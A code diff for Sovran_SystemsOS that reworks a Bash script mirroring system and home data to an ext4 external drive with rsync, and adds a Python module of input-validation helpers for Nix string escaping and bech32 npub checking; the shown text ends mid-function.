|
||||
if [[ -z "$target" && -d "$MEDIA_ROOT" ]]; then
|
||||
while IFS= read -r -d '' mnt; do
|
||||
is_internal "$mnt" && continue
|
||||
# Check label via lsblk on the device backing this mount
|
||||
local dev
|
||||
dev=$(findmnt -n -o SOURCE "$mnt" 2>/dev/null || true)
|
||||
if [[ -n "$dev" ]]; then
|
||||
local lbl
|
||||
lbl=$(lsblk -n -o LABEL "$dev" 2>/dev/null || true)
|
||||
local skip=0
|
||||
for internal_lbl in "${INTERNAL_LABELS[@]}"; do
|
||||
[[ "$lbl" == "$internal_lbl" ]] && skip=1 && break
|
||||
done
|
||||
[[ "$skip" -eq 1 ]] && continue
|
||||
fi
|
||||
if mountpoint -q "$mnt" 2>/dev/null; then
|
||||
target="$mnt"
|
||||
break
|
||||
@@ -128,16 +170,10 @@ for d in flatten(data.get('blockdevices', [])):
|
||||
}
|
||||
|
||||
# ── Detect the configured system role ───────────────────────────
|
||||
#
|
||||
# Priority:
|
||||
# 1. Hub config JSON (/var/lib/sovran-hub/config.json) — "role" key
|
||||
# 2. role-state.nix (/etc/nixos/role-state.nix) — grep for true flag
|
||||
# 3. Default: server_plus_desktop
|
||||
|
||||
detect_role() {
|
||||
local role="server_plus_desktop"
|
||||
|
||||
# 1. Try the Hub config JSON
|
||||
if [[ -f "$HUB_CONFIG_JSON" ]] && command -v python3 &>/dev/null; then
|
||||
local r
|
||||
r=$(python3 -c \
|
||||
@@ -149,7 +185,6 @@ detect_role() {
|
||||
fi
|
||||
fi
|
||||
|
||||
# 2. Fall back to parsing role-state.nix
|
||||
if [[ -f "$ROLE_STATE_NIX" ]]; then
|
||||
if grep -q 'roles\.desktop = lib\.mkDefault true' "$ROLE_STATE_NIX" 2>/dev/null; then
|
||||
role="desktop"
|
||||
@@ -161,6 +196,119 @@ detect_role() {
|
||||
echo "$role"
|
||||
}
|
||||
|
||||
validate_target_mount() {
|
||||
local target="$1"
|
||||
[[ "$target" == "${MEDIA_ROOT}/"* ]] || fail "Target '$target' must be mounted under $MEDIA_ROOT."
|
||||
[[ -d "$target" ]] || fail "Target path '$target' does not exist."
|
||||
mountpoint -q "$target" || fail "Target path '$target' is not a mount point."
|
||||
|
||||
local fstype=""
|
||||
fstype=$(findmnt -n -o FSTYPE -T "$target" 2>/dev/null || true)
|
||||
[[ -n "$fstype" ]] || fail "Could not determine filesystem type for '$target'."
|
||||
|
||||
if [[ "$fstype" != "ext4" ]]; then
|
||||
fail "Target '$target' must be formatted as ext4 (detected filesystem: $fstype). Manual Backup requires an ext4-formatted external drive for Linux metadata preservation. exFAT, FAT32, and NTFS are not supported."
|
||||
fi
|
||||
|
||||
local write_test
|
||||
write_test="$target/.sovran-write-test-$$"
|
||||
if ! ( : > "$write_test" && echo "ok" >> "$write_test" && rm -f "$write_test" ); then
|
||||
fail "Target '$target' is not writable."
|
||||
fi
|
||||
|
||||
log "Verified backup target filesystem: $fstype"
|
||||
}
|
||||
|
||||
estimate_path_bytes() {
|
||||
local path="$1"
|
||||
shift || true
|
||||
[[ -e "$path" ]] || {
|
||||
echo 0
|
||||
return
|
||||
}
|
||||
|
||||
local size
|
||||
size=$(du -s -B1 -x "$@" "$path" 2>/dev/null | awk '{print $1}' || true)
|
||||
[[ -n "$size" ]] || size=0
|
||||
echo "$size"
|
||||
}
|
||||
|
||||
# ── Sync one source tree to its backup destination ───────────────
|
||||
# Usage: sync_tree <label> <allow_vanished> <source> <destination> [rsync options...]
|
||||
#
|
||||
# allow_vanished: "yes" means rsync exit 24 (vanished files) is nonfatal.
|
||||
# Used for /home only — files may disappear while the desktop is active.
|
||||
# All other nonzero exit codes are always fatal.
|
||||
#
|
||||
# Before every rsync call this helper:
|
||||
# 1. Re-verifies $TARGET is still a mount point (fails if drive disconnected).
|
||||
# 2. Verifies the destination path remains beneath $BACKUP_DIR and $BACKUP_DIR
|
||||
# remains beneath $TARGET (safe-path check).
|
||||
# 3. Creates the full destination directory hierarchy with mkdir -p so that
|
||||
# rsync never fails trying to create a directory whose parent is absent.
|
||||
sync_tree() {
|
||||
local label="$1"
|
||||
local allow_vanished="$2"
|
||||
local source="$3"
|
||||
local destination="$4"
|
||||
shift 4
|
||||
# Remaining "$@" are rsync options (--exclude, etc.)
|
||||
|
||||
# ── Re-verify the external drive is still mounted ────────────────
|
||||
mountpoint -q "$TARGET" 2>/dev/null || \
|
||||
fail "Stage $label: external drive '$TARGET' is no longer mounted. Refusing to write."
|
||||
|
||||
# ── Verify path safety ────────────────────────────────────────────
|
||||
# BACKUP_DIR must remain beneath TARGET.
|
||||
case "$BACKUP_DIR" in
|
||||
"$TARGET"/*) ;;
|
||||
*) fail "Stage $label: BACKUP_DIR '$BACKUP_DIR' is outside TARGET '$TARGET'." ;;
|
||||
esac
|
||||
# Destination must remain beneath BACKUP_DIR.
|
||||
case "$destination" in
|
||||
"$BACKUP_DIR"/*|"$BACKUP_DIR") ;;
|
||||
*) fail "Stage $label: destination '$destination' is outside BACKUP_DIR '$BACKUP_DIR'. Refusing to write." ;;
|
||||
esac
|
||||
|
||||
# ── Create complete destination directory hierarchy ───────────────
|
||||
# This is the fix for the production failure:
|
||||
# rsync: [Receiver] mkdir ".../current/etc/nixos" failed: No such file or directory
|
||||
# mkdir -p creates all intermediate parents (e.g. current/etc/) before rsync runs.
|
||||
mkdir -p -- "$destination" || \
|
||||
fail "Stage $label: failed to create destination directory '$destination' (source: '$source')."
|
||||
|
||||
local rsync_err_tmp
|
||||
rsync_err_tmp="$(mktemp /tmp/sovran-rsync-err.XXXXXX)"
|
||||
|
||||
local rc=0
|
||||
rsync \
|
||||
--archive \
|
||||
--acls \
|
||||
--xattrs \
|
||||
--hard-links \
|
||||
--numeric-ids \
|
||||
--one-file-system \
|
||||
--partial \
|
||||
"$@" "$source" "$destination" 2>"$rsync_err_tmp" || rc=$?
|
||||
|
||||
if [[ -s "$rsync_err_tmp" ]]; then
|
||||
while IFS= read -r rline; do
|
||||
log "rsync: $rline"
|
||||
done < "$rsync_err_tmp"
|
||||
fi
|
||||
rm -f "$rsync_err_tmp"
|
||||
|
||||
if [[ "$rc" -eq 0 ]]; then
|
||||
return 0
|
||||
elif [[ "$allow_vanished" == "yes" && "$rc" -eq 24 ]]; then
|
||||
log "NOTE: $label — some files vanished during sync (normal on an active desktop). Your important data is backed up."
|
||||
RSYNC_WARNINGS+=("$label: some files vanished during sync (rsync exit 24 — normal on active desktop)")
|
||||
return 0
|
||||
else
|
||||
fail "rsync failed for $label (exit code $rc). See the rsync errors above."
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Initialise log file ──────────────────────────────────────────
|
||||
|
||||
: > "$BACKUP_LOG"
|
||||
@@ -169,22 +317,58 @@ set_status "RUNNING"
|
||||
log "=== Sovran_SystemsOS External Hub Backup ==="
|
||||
log "Starting backup process…"
|
||||
|
||||
# ── Acquire exclusive run lock ────────────────────────────────────
|
||||
# Prevents two simultaneous backup runs (e.g. from double-click or
|
||||
# stale RUNNING status after a Hub restart).
|
||||
|
||||
LOCK_FILE="/var/lock/sovran-hub-backup.lock"
|
||||
# Note: exec {LOCK_FD}>>file requires bash 4.1+ (NixOS provides bash 5.x).
|
||||
exec {LOCK_FD}>>"$LOCK_FILE" 2>/dev/null || \
|
||||
fail "Cannot open lock file: $LOCK_FILE. Ensure /var/lock is writable."
|
||||
flock --nonblock "$LOCK_FD" 2>/dev/null || \
|
||||
fail "Another backup is already running. Wait for it to complete or check $BACKUP_STATUS."
|
||||
|
||||
require_cmd rsync
|
||||
require_cmd findmnt
|
||||
require_cmd lsblk
|
||||
require_cmd mountpoint
|
||||
require_cmd df
|
||||
require_cmd du
|
||||
require_cmd awk
|
||||
require_cmd find
|
||||
require_cmd hostname
|
||||
require_cmd date
|
||||
require_cmd python3
|
||||
require_cmd flock
|
||||
|
||||
# ── Detect system role ───────────────────────────────────────────
|
||||
|
||||
ROLE="$(detect_role)"
|
||||
case "$ROLE" in
|
||||
desktop) ROLE_LABEL="Desktop Only" ;;
|
||||
node) ROLE_LABEL="Node (Bitcoin-only)" ;;
|
||||
server_plus_desktop) ROLE_LABEL="Server + Desktop" ;;
|
||||
*) ROLE_LABEL="$ROLE" ;;
|
||||
desktop) ROLE_LABEL="Desktop Only" ;;
|
||||
node) ROLE_LABEL="Node (Bitcoin-only)" ;;
|
||||
server_plus_desktop) ROLE_LABEL="Server + Desktop" ;;
|
||||
*) ROLE_LABEL="$ROLE" ;;
|
||||
esac
|
||||
log "Detected role: $ROLE_LABEL"
|
||||
|
||||
# Backup scope depends on the role. Desktop Only systems run no server or
|
||||
# Bitcoin services, so only the NixOS configuration and home directory are
|
||||
# mirrored (2 stages). Node and Server + Desktop systems also mirror the
|
||||
# nix-bitcoin secrets and /var/lib system service data (4 stages).
|
||||
if [[ "$ROLE" == "desktop" ]]; then
|
||||
TOTAL_STAGES=2
|
||||
HOME_STAGE_NUM=2
|
||||
log "Desktop Only role: backing up the NixOS configuration (/etc/nixos) and home directory (/home) only."
|
||||
else
|
||||
TOTAL_STAGES=4
|
||||
HOME_STAGE_NUM=3
|
||||
fi
|
||||
|
||||
# ── Detect target drive ──────────────────────────────────────────
|
||||
|
||||
if [[ -n "${BACKUP_TARGET:-}" ]]; then
|
||||
TARGET="$BACKUP_TARGET"
|
||||
# Safety: never allow internal drives even if explicitly passed
|
||||
if is_internal "$TARGET"; then
|
||||
fail "Target '$TARGET' is an internal system drive and cannot be used for external backup."
|
||||
fi
|
||||
@@ -193,129 +377,259 @@ else
|
||||
log "Auto-detecting external USB drives…"
|
||||
TARGET="$(find_external_drive)"
|
||||
if [[ -z "$TARGET" ]]; then
|
||||
fail "No external USB drive detected. " \
|
||||
"Please plug in an exFAT-formatted USB drive (≥500 GB) and try again."
|
||||
fail "No external USB drive detected. Please plug in an ext4-formatted USB drive and try again."
|
||||
fi
|
||||
log "Detected external drive: $TARGET"
|
||||
fi
|
||||
|
||||
# ── Verify mount point ───────────────────────────────────────────
|
||||
validate_target_mount "$TARGET"
|
||||
|
||||
[[ -d "$TARGET" ]] || fail "Target path '$TARGET' does not exist."
|
||||
mountpoint -q "$TARGET" || fail "Target path '$TARGET' is not a mount point."
|
||||
# ── Set up stable backup destination ────────────────────────────
|
||||
# Subsequent runs update the same mirror, transferring only new or changed files.
|
||||
|
||||
# ── Check free disk space (require ≥ 10 GB) ──────────────────────
|
||||
BACKUP_DIR="${TARGET}/${BACKUP_SUBPATH}"
|
||||
mkdir -p -- "$BACKUP_DIR"
|
||||
|
||||
FREE_KB=$(df -k --output=avail "$TARGET" | tail -1)
|
||||
FREE_GB=$(( FREE_KB / 1024 / 1024 ))
|
||||
log "Free space on drive: ${FREE_GB} GB"
|
||||
(( FREE_GB >= MIN_FREE_GB )) || \
|
||||
fail "Not enough free space on drive (${FREE_GB} GB available, ${MIN_FREE_GB} GB required)."
|
||||
# Remove any stale BACKUP_COMPLETE left by a previous successful run.
|
||||
# The new run will re-earn it only after all stages succeed.
|
||||
rm -f "$BACKUP_DIR/BACKUP_COMPLETE"
|
||||
|
||||
# ── Create timestamped backup directory ─────────────────────────
|
||||
|
||||
TIMESTAMP="$(date '+%Y%m%d_%H%M%S')"
|
||||
BACKUP_DIR="${TARGET}/Sovran_SystemsOS_Backup/${TIMESTAMP}"
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
# Write an INCOMPLETE marker immediately; replaced by BACKUP_COMPLETE only
|
||||
# after all rsync stages and manifest write succeed. Failed or interrupted
|
||||
# runs keep this marker so they are clearly identifiable.
|
||||
touch "$BACKUP_DIR/INCOMPLETE"
|
||||
log "Backup destination: $BACKUP_DIR"
|
||||
|
||||
# ── Stage 1/4: NixOS configuration ──────────────────────────────
|
||||
# ── Estimate required free space ─────────────────────────────────
|
||||
# PostgreSQL/MariaDB raw directories and Bitcoin/Electrs data are excluded
|
||||
# from the estimate to avoid inflating the required size.
|
||||
|
||||
ETC_NIXOS_BYTES=$(estimate_path_bytes /etc/nixos)
|
||||
HOME_BYTES=$(estimate_path_bytes /home --exclude='*/.cache' --exclude='*/.local/share/Trash' --exclude='*/Trash')
|
||||
|
||||
# nix-bitcoin secrets and /var/lib system service data exist only on the
|
||||
# Node and Server + Desktop roles — they are skipped entirely on Desktop Only.
|
||||
SECRETS_BYTES=0
|
||||
VAR_LIB_BYTES=0
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
SECRETS_BYTES=$(estimate_path_bytes /etc/nix-bitcoin-secrets)
|
||||
VAR_LIB_BYTES=$(estimate_path_bytes /var/lib \
|
||||
--exclude='postgresql' \
|
||||
--exclude='mysql' \
|
||||
--exclude='mariadb' \
|
||||
--exclude='bitcoind' \
|
||||
--exclude='electrs' \
|
||||
--exclude='*/log' \
|
||||
--exclude='*/logs' \
|
||||
--exclude='*/cache' \
|
||||
--exclude='*/tmp')
|
||||
fi
|
||||
|
||||
ESTIMATED_BYTES=$(( ETC_NIXOS_BYTES + HOME_BYTES + SECRETS_BYTES + VAR_LIB_BYTES ))
|
||||
# Require 20% growth headroom plus a fixed 1 GiB safety margin.
|
||||
# Later incremental runs need far less space, but a conservative first-run
|
||||
# check protects against running out of space mid-backup.
|
||||
REQUIRED_BYTES=$(( ESTIMATED_BYTES + (ESTIMATED_BYTES / 5) + SAFETY_MARGIN_BYTES ))
|
||||
|
||||
FREE_BYTES=$(df -B1 --output=avail "$TARGET" | tail -1 | tr -d ' ')
|
||||
FREE_GB=$(( FREE_BYTES / 1024 / 1024 / 1024 ))
|
||||
REQUIRED_GB=$(( REQUIRED_BYTES / 1024 / 1024 / 1024 ))
|
||||
|
||||
log "Estimated backup size: $(( ESTIMATED_BYTES / 1024 / 1024 / 1024 )) GB"
|
||||
log "Required free space (with safety margin): ${REQUIRED_GB} GB"
|
||||
log "Free space on drive: ${FREE_GB} GB"
|
||||
|
||||
(( FREE_BYTES >= REQUIRED_BYTES )) || \
|
||||
fail "Not enough free space on drive (${FREE_GB} GB available, ${REQUIRED_GB} GB required)."
|
||||
|
||||
# ── Stage 1: NixOS configuration ────────────────────────────────
|
||||
|
||||
log ""
|
||||
log "── Stage 1/4: NixOS configuration (/etc/nixos) ──────────────"
|
||||
log "── Stage 1/${TOTAL_STAGES}: NixOS configuration (/etc/nixos) ──────────────"
|
||||
if [[ -d /etc/nixos ]]; then
|
||||
rsync -a --info=progress2 /etc/nixos/ "$BACKUP_DIR/nixos/" 2>&1 | tee -a "$BACKUP_LOG" || \
|
||||
fail "Stage 1 failed while copying /etc/nixos"
|
||||
sync_tree "/etc/nixos" no /etc/nixos/ "$BACKUP_DIR/etc/nixos/"
|
||||
log "Stage 1 complete."
|
||||
else
|
||||
log "WARNING: /etc/nixos not found — skipping."
|
||||
fi
|
||||
|
||||
# ── Stage 2/4: Secrets ──────────────────────────────────────────
|
||||
# ── Stage 2: Secrets ────────────────────────────────────────────
|
||||
# Only applies to the Node and Server + Desktop roles. Desktop Only systems
|
||||
# run no nix-bitcoin services, so there are no secrets to back up and this
|
||||
# stage does not exist for them.
|
||||
|
||||
log ""
|
||||
log "── Stage 2/4: Secrets ───────────────────────────────────────"
|
||||
mkdir -p "$BACKUP_DIR/secrets"
|
||||
|
||||
if [[ "$ROLE" == "desktop" ]]; then
|
||||
log "Skipping /etc/nix-bitcoin-secrets — not applicable for Desktop Only role."
|
||||
else
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
log ""
|
||||
log "── Stage 2/${TOTAL_STAGES}: Secrets (/etc/nix-bitcoin-secrets) ───────────"
|
||||
if [[ -e /etc/nix-bitcoin-secrets ]]; then
|
||||
rsync -a --info=progress2 /etc/nix-bitcoin-secrets "$BACKUP_DIR/secrets/" 2>&1 | tee -a "$BACKUP_LOG" || \
|
||||
log "WARNING: Could not copy /etc/nix-bitcoin-secrets — continuing."
|
||||
sync_tree "/etc/nix-bitcoin-secrets" no /etc/nix-bitcoin-secrets/ "$BACKUP_DIR/etc/nix-bitcoin-secrets/"
|
||||
else
|
||||
log " (not found: /etc/nix-bitcoin-secrets — skipping)"
|
||||
log "(not found: /etc/nix-bitcoin-secrets — skipping)"
|
||||
fi
|
||||
log "Stage 2 complete."
|
||||
fi
|
||||
|
||||
log "Stage 2 complete."
|
||||
|
||||
# ── Stage 3/4: Home directory ────────────────────────────────────
|
||||
# ── Home directory ──────────────────────────────────────────────
|
||||
# Stage 2/2 on Desktop Only, stage 3/4 on Node and Server + Desktop.
|
||||
# Rsync exit code 24 (vanished source files) is treated as nonfatal here
|
||||
# because the desktop may be active and files can disappear between the
|
||||
# directory scan and the copy. All other nonzero exit codes remain fatal.
|
||||
|
||||
log ""
|
||||
log "── Stage 3/4: Home directory (/home) ───────────────────────"
|
||||
log "── Stage ${HOME_STAGE_NUM}/${TOTAL_STAGES}: Home directory (/home) ───────────────────────"
|
||||
if [[ -d /home ]]; then
|
||||
rsync -a --info=progress2 \
|
||||
sync_tree "/home" yes /home/ "$BACKUP_DIR/home/" \
|
||||
--exclude='.cache/' \
|
||||
--exclude='.local/share/Trash/' \
|
||||
--exclude='*/Trash/' \
|
||||
/home/ "$BACKUP_DIR/home/" 2>&1 | tee -a "$BACKUP_LOG" || \
|
||||
fail "Stage 3 failed while copying /home"
|
||||
log "Stage 3 complete."
|
||||
--exclude='Trash/' \
|
||||
--exclude='.mozilla/firefox/*/cache2/' \
|
||||
--exclude='.mozilla/firefox/*/startupCache/' \
|
||||
--exclude='.mozilla/firefox/*/thumbnails/' \
|
||||
--exclude='.config/google-chrome/*/Cache/' \
|
||||
--exclude='.config/google-chrome/*/Code Cache/' \
|
||||
--exclude='.config/chromium/*/Cache/' \
|
||||
--exclude='.config/chromium/*/Code Cache/' \
|
||||
--exclude='.config/BraveSoftware/Brave-Browser/*/Cache/' \
|
||||
--exclude='.config/BraveSoftware/Brave-Browser/*/Code Cache/' \
|
||||
--exclude='.local/share/baloo/' \
|
||||
--exclude='.thumbnails/' \
|
||||
--exclude='.xsession-errors' \
|
||||
--exclude='.xsession-errors.old'
|
||||
log "Stage ${HOME_STAGE_NUM} complete."
|
||||
else
|
||||
log "WARNING: /home not found — skipping."
|
||||
fi
|
||||
|
||||
# ── Stage 4/4: System data ───────────────────────────────────────
|
||||
# ── Stage 4: System data ────────────────────────────────────────
|
||||
# Only applies to the Node and Server + Desktop roles — Desktop Only systems
|
||||
# run no server services, so /var/lib holds no service data worth mirroring.
|
||||
# PostgreSQL/MariaDB raw database directories are excluded. Application
|
||||
# databases must be backed up separately with native database tools.
|
||||
# Bitcoin/Electrs data are excluded; they live on the internal second drive.
|
||||
|
||||
log ""
|
||||
log "── Stage 4/4: System data (/var/lib) ────────────────────────"
|
||||
if [[ "$ROLE" == "desktop" ]]; then
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
log ""
|
||||
log "── Stage 4/${TOTAL_STAGES}: System data (/var/lib) ───────────────────────"
|
||||
if [[ -d /var/lib ]]; then
|
||||
rsync -a --info=progress2 \
|
||||
--filter='- /lnd/***' \
|
||||
--exclude='logs/' \
|
||||
--exclude='log/' \
|
||||
--exclude='*/logs/' \
|
||||
sync_tree "/var/lib" no /var/lib/ "$BACKUP_DIR/var/lib/" \
|
||||
--exclude='postgresql/' \
|
||||
--exclude='mysql/' \
|
||||
--exclude='mariadb/' \
|
||||
--exclude='bitcoind/' \
|
||||
--exclude='electrs/' \
|
||||
--exclude='*/log/' \
|
||||
/var/lib/ "$BACKUP_DIR/var-lib/" 2>&1 | tee -a "$BACKUP_LOG" || \
|
||||
fail "Stage 4 failed while copying /var/lib for Desktop Only role"
|
||||
log "Stage 4 complete (Desktop Only role excludes /var/lib/lnd)."
|
||||
--exclude='*/logs/' \
|
||||
--exclude='*/cache/' \
|
||||
--exclude='*/tmp/'
|
||||
log "Stage 4 complete."
|
||||
else
|
||||
log "WARNING: /var/lib not found — skipping."
|
||||
fi
|
||||
elif [[ -d /var/lib ]]; then
|
||||
rsync -a --info=progress2 \
|
||||
--exclude='logs/' \
|
||||
--exclude='log/' \
|
||||
--exclude='*/logs/' \
|
||||
--exclude='*/log/' \
|
||||
/var/lib/ "$BACKUP_DIR/var-lib/" 2>&1 | tee -a "$BACKUP_LOG" || \
|
||||
fail "Stage 4 failed while copying /var/lib"
|
||||
log "Stage 4 complete."
|
||||
else
|
||||
log "WARNING: /var/lib not found — skipping."
|
||||
fi
|
||||
|
||||
# ── Generate manifest ────────────────────────────────────────────
|
||||
|
||||
log ""
|
||||
log "Generating BACKUP_MANIFEST.txt …"
|
||||
MANIFEST_FILE="$BACKUP_DIR/BACKUP_MANIFEST.txt"
|
||||
|
||||
{
|
||||
echo "Sovran_SystemsOS Backup Manifest"
|
||||
echo "Generated: $(date)"
|
||||
echo "Updated: $(date -u '+%Y-%m-%dT%H:%M:%SZ')"
|
||||
echo "Hostname: $(hostname)"
|
||||
echo "Role: $ROLE_LABEL"
|
||||
echo "Target: $TARGET"
|
||||
echo ""
|
||||
echo "Contents:"
|
||||
find "$BACKUP_DIR" -mindepth 1 -maxdepth 2 | sort
|
||||
} > "$BACKUP_DIR/BACKUP_MANIFEST.txt"
|
||||
log "Manifest written to $BACKUP_DIR/BACKUP_MANIFEST.txt"
|
||||
echo "Backup type: Live rsync mirror (directly browsable files)"
|
||||
echo "Location: ${BACKUP_DIR}"
|
||||
echo ""
|
||||
echo "Source paths mirrored:"
|
||||
echo "- /etc/nixos → current/etc/nixos/"
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
echo "- /etc/nix-bitcoin-secrets (when present) → current/etc/nix-bitcoin-secrets/"
|
||||
fi
|
||||
echo "- /home → current/home/"
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
echo "- /var/lib → current/var/lib/"
|
||||
fi
|
||||
echo ""
|
||||
echo "Exclusions:"
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
echo "- /var/lib/postgresql (PostgreSQL raw database files — not included)"
|
||||
echo "- /var/lib/mysql, /var/lib/mariadb (MariaDB raw database files — not included)"
|
||||
echo "- /var/lib/bitcoind (Bitcoin blockchain — excluded; lives on internal second drive)"
|
||||
echo "- /var/lib/electrs (Electrs index — excluded; lives on internal second drive)"
|
||||
echo "- /run/media/Second_Drive (internal second drive — never traversed)"
|
||||
echo "- /var/lib/*/log, /var/lib/*/logs, /var/lib/*/cache, /var/lib/*/tmp"
|
||||
fi
|
||||
echo "- Browser disk caches, thumbnail caches, trash directories, X session error logs"
|
||||
echo ""
|
||||
echo "Important limitations:"
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
echo "- PostgreSQL and MariaDB/MySQL application databases are NOT included in this"
|
||||
echo " backup. If you use Nextcloud, Matrix/Synapse, or other database-backed"
|
||||
echo " applications, their data must be backed up separately using native tools."
|
||||
echo "- Bitcoin blockchain data and Electrs indexes are NOT included; they are"
|
||||
echo " reconstructable or stored on the internal second drive."
|
||||
fi
|
||||
echo "- This is a live file-level mirror, not a transactional database backup."
|
||||
echo " Files being written during the backup may be in an inconsistent state."
|
||||
echo ""
|
||||
echo "Restore guidance:"
|
||||
echo "- Files are directly browsable on the backup drive under: ${BACKUP_DIR}"
|
||||
echo "- To restore a directory:"
|
||||
echo " sudo rsync -aAXH --numeric-ids current/etc/nixos/ /etc/nixos/"
|
||||
echo " sudo rsync -aAXH --numeric-ids current/home/ /home/"
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
echo " sudo rsync -aAXH --numeric-ids current/var/lib/ /var/lib/"
|
||||
fi
|
||||
echo "- To copy individual files:"
|
||||
echo " sudo cp -a current/home/username/ /home/username/"
|
||||
echo "- When restoring /etc/nixos to replacement hardware, regenerate"
|
||||
echo " hardware-configuration.nix for the new hardware before rebuilding."
|
||||
echo ""
|
||||
echo "Nonfatal warnings:"
|
||||
if [[ "${#RSYNC_WARNINGS[@]}" -eq 0 ]]; then
|
||||
echo "- none"
|
||||
else
|
||||
for warning in "${RSYNC_WARNINGS[@]}"; do
|
||||
echo "- $warning"
|
||||
done
|
||||
fi
|
||||
if [[ "$ROLE" != "desktop" ]]; then
|
||||
echo ""
|
||||
echo "Note: Bitcoin blockchain and Electrs index data are intentionally excluded"
|
||||
echo "from manual external backup because they already live on the internal second drive"
|
||||
echo "(/run/media/Second_Drive) and are reconstructable/internal-backup data."
|
||||
fi
|
||||
} > "$MANIFEST_FILE"
|
||||
|
||||
log "Manifest written to $MANIFEST_FILE"
|
||||
|
||||
# ── Done ─────────────────────────────────────────────────────────
|
||||
|
||||
log ""
|
||||
log "All Finished! Your data is now backed up to a third location."
|
||||
if [[ "${#RSYNC_WARNINGS[@]}" -gt 0 ]]; then
|
||||
log "Backup completed with nonfatal warnings:"
|
||||
for warning in "${RSYNC_WARNINGS[@]}"; do
|
||||
log " WARNING: $warning"
|
||||
done
|
||||
log "Your important data is backed up. The warnings above indicate files that"
|
||||
log "vanished during backup, which is normal on an active desktop."
|
||||
log ""
|
||||
fi
|
||||
if [[ "$ROLE" == "desktop" ]]; then
|
||||
log "All Finished! Your data is now backed up to a second, external location."
|
||||
else
|
||||
log "All Finished! Your data is now backed up to a third location."
|
||||
fi
|
||||
log "Files are directly browsable on the drive under: ${BACKUP_DIR}"
|
||||
log "Please eject the drive safely before removing it from your Sovran Pro."
|
||||
|
||||
# Remove incomplete marker and write completion marker only after all work succeeds.
|
||||
# A later successful run will update the same mirror and replace any INCOMPLETE state.
|
||||
rm -f "$BACKUP_DIR/INCOMPLETE"
|
||||
date -u '+%Y-%m-%dT%H:%M:%SZ' > "$BACKUP_DIR/BACKUP_COMPLETE"
|
||||
|
||||
BACKUP_COMPLETE=1
|
||||
set_status "SUCCESS"
|
||||
@@ -0,0 +1,241 @@
|
||||
"""Sovran Hub — pure security validation helpers.
|
||||
|
||||
This module contains the dependency-light security helper functions used by
|
||||
the Hub server. Keeping them here allows tests to import and exercise the
|
||||
exact production implementations rather than maintaining separate copies.
|
||||
|
||||
All functions in this module depend only on the Python standard library.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import ipaddress
|
||||
import re
|
||||
import urllib.parse
|
||||
|
||||
# ── Nix string escaping ────────────────────────────────────────────────────────
|
||||
|
||||
def _nix_escape(value: str) -> str:
|
||||
"""Escape *value* for use inside a Nix double-quoted string literal.
|
||||
|
||||
Handles backslashes, double-quotes, newlines, carriage returns, tabs, and
|
||||
Nix-specific anti-quotation sequences (``${...}``). The returned value is
|
||||
safe to embed as ``"<returned_value>"`` in generated Nix source.
|
||||
"""
|
||||
value = value.replace("\\", "\\\\")
|
||||
value = value.replace('"', '\\"')
|
||||
value = value.replace("\n", "\\n")
|
||||
value = value.replace("\r", "\\r")
|
||||
value = value.replace("\t", "\\t")
|
||||
value = value.replace("${", "\\${")
|
||||
return value
|
||||
|
||||
|
||||
# ── Nostr npub validation (NIP-19 / Bech32) ───────────────────────────────────
|
||||
|
||||
# Fast pre-filter: "npub1" followed by exactly 58 lower-case bech32 characters.
|
||||
NPUB_RE = re.compile(r"^npub1[023456789acdefghjklmnpqrstuvwxyz]{58}$")
|
||||
|
||||
_BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||
_BECH32_GENERATOR = (0x3B6A57B2, 0x26508E6D, 0x1EA119FA, 0x3D4233DD, 0x2A1462B3)
|
||||
|
||||
|
||||
def _bech32_polymod(values: list[int]) -> int:
|
||||
chk = 1
|
||||
for value in values:
|
||||
top = chk >> 25
|
||||
chk = ((chk & 0x1FFFFFF) << 5) ^ value
|
||||
for i in range(5):
|
||||
if (top >> i) & 1:
|
||||
chk ^= _BECH32_GENERATOR[i]
|
||||
return chk
|
||||
|
||||
|
||||
def _bech32_hrp_expand(hrp: str) -> list[int]:
|
||||
return [ord(c) >> 5 for c in hrp] + [0] + [ord(c) & 31 for c in hrp]
|
||||
|
||||
|
||||
def _bech32_create_checksum(hrp: str, data: list[int]) -> list[int]:
|
||||
values = _bech32_hrp_expand(hrp) + data
|
||||
polymod = _bech32_polymod(values + [0, 0, 0, 0, 0, 0]) ^ 1
|
||||
return [(polymod >> (5 * (5 - i))) & 31 for i in range(6)]
|
||||
|
||||
|
||||
def _bech32_convertbits_decode(data: list[int]) -> list[int] | None:
|
||||
"""Convert a 5-bit integer sequence to 8-bit bytes, stripping padding."""
|
||||
acc = 0
|
||||
bits = 0
|
||||
ret: list[int] = []
|
||||
for value in data:
|
||||
acc = (acc << 5) | value
|
||||
bits += 5
|
||||
while bits >= 8:
|
||||
bits -= 8
|
||||
ret.append((acc >> bits) & 0xFF)
|
||||
if bits >= 5 or ((acc << (8 - bits)) & 0xFF):
|
||||
return None # invalid padding
|
||||
return ret
|
||||
|
||||
|
||||
def _bech32_decode(bech: str) -> tuple[str, bytes] | None:
|
||||
"""Decode a bech32 string. Returns ``(hrp, payload_bytes)`` or ``None``.
|
||||
|
||||
Verifies:
|
||||
- Lowercase-only (mixed case rejected per BIP-173).
|
||||
- Only valid bech32 charset characters.
|
||||
- Valid checksum.
|
||||
- Exactly one separator (``1``).
|
||||
- Minimum data part length (≥ 8 chars = 6 checksum + ≥ 2 data).
|
||||
"""
|
||||
if bech != bech.lower():
|
||||
return None # mixed case
|
||||
sep = bech.rfind("1")
|
||||
if sep < 1 or sep + 7 > len(bech):
|
||||
return None
|
||||
hrp = bech[:sep]
|
||||
data_part = bech[sep + 1:]
|
||||
if any(c not in _BECH32_CHARSET for c in data_part):
|
||||
return None
|
||||
decoded = [_BECH32_CHARSET.index(c) for c in data_part]
|
||||
if _bech32_polymod(_bech32_hrp_expand(hrp) + decoded) != 1:
|
||||
return None # bad checksum
|
||||
converted = _bech32_convertbits_decode(decoded[:-6])
|
||||
if converted is None:
|
||||
